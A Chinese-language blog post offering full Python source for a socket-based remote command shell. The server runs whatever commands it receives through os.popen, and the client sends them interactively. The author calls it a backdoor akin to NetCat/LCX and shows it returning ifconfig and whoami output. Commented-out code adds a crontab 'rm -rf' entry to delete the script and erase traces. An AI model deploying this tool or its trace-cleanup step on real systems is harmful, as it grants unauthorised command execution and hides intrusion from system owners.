前言
以前使用Python写POC,但是现在我更加喜欢使用python写开源脚本、工具。
想做一个大的项目,主要是分为两块:
- 信息收集
- exploit远程执行
解释
使用python的socket模块实现穿透,只是一个小小的思路 :)
可以这么理解,服务器端构建一个端口监听,测试系统去连接,并且发送shell命令
类似
类似于NetCat和LCX
只要敢想敢做,其实php脚本也可以做3389的转发呐~
给予
有兴趣的朋友可以和我一起交流,刚接触Py不久,想完美的运用到安全领域中去
功能
-
端口监听
端口监听主要就是在服务器端绑定制定的端口
-
清理后门
利用LINUX的定时计划任务添加一个一分钟后删除脚本的指令
-
执行命令(带回显)
使用OS模块让运行命令更加生动.....
运行
客户端
服务器端
使用
首先要在服务器端监听
rvn0xsy@rvn0xsy-pc:~/python$ python3.5 server.py
然后执行客户端
rvn0xsy@rvn0xsy-pc:~/python$ python3.5 client.py
接着就会反弹一个shell
rvn0xsy@rvn0xsy-pc:~/python$ python3.5 client.py
OS Shell >ifconfig
Execute 127.0.0.1:ifconfig
Receive:ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.106 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::20c:29ff:fea4:d290 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:a4:d2:90 txqueuelen 4096 (Ethernet)
RX packets 89493 bytes 109238370 (104.1 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 62219 bytes 8207482 (7.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1 (Local Loopback)
RX packets 210 bytes 15390 (15.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 210 bytes 15390 (15.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
OS Shell >whoami
Execute 127.0.0.1:whoami
Receive:rvn0xsy
OS Shell >
Open Source
首先我贴出服务器端的代码
#-*- coding: utf-8 -*-
from socket import *
import os
HOST=''
PORT=1122
BUFSIZ=1024
ADDR=(HOST, PORT)
sock=socket(AF_INET, SOCK_STREAM)
sock.bind(ADDR)
sock.listen(1)
STOP_CHAT=False
while not STOP_CHAT:
tcpClientSock, addr=sock.accept()
print('Listening.....')
while True:
try:
data=tcpClientSock.recv(BUFSIZ)
except:
tcpClientSock.close()
break
if not data:
break
STOP_CHAT=(data.decode('utf8').upper()=="QUIT")
if STOP_CHAT:
#打扫战场 运用linux定时计划任务一分钟后删除当前脚本文件
#current_file_path =os.getcwd()+sys.argv[0]
#os.system('echo */1 * * * * rm -rf '+current_file_path+' >> /etc/crontab')
#tell_hack = 'Will help you clean war...'
#tcpClientSock.sendall(tell_hack.encode('utf8'))
break
ME = os.popen(data.decode('utf8'))
os_result = ME.read()
print(os_result)
tcpClientSock.sendall(os_result.encode('utf8'))
tcpClientSock.close()
sock.close()
客户端
#-*- coding: utf-8 -*-
import os,sys
from socket import *
class TcpClient:
HOST='127.0.0.1'
PORT=1122
BUFSIZ=2048
ADDR=(HOST, PORT)
def __init__(self):
self.client=socket(AF_INET, SOCK_STREAM)
self.client.connect(self.ADDR)
while True:
data=input('OS Shell >')
if not data:
break
self.client.send(data.encode('utf8'))
print('Execute %s:%s' %(self.HOST,data))
if data.upper()=="QUIT":
break
data=self.client.recv(self.BUFSIZ)
if not data:
break
print('Receive:%s' %(data.decode('utf8')))
if __name__ == '__main__':
client=TcpClient()
支持
本文是我的原创文章,未经授权转载属于侵权!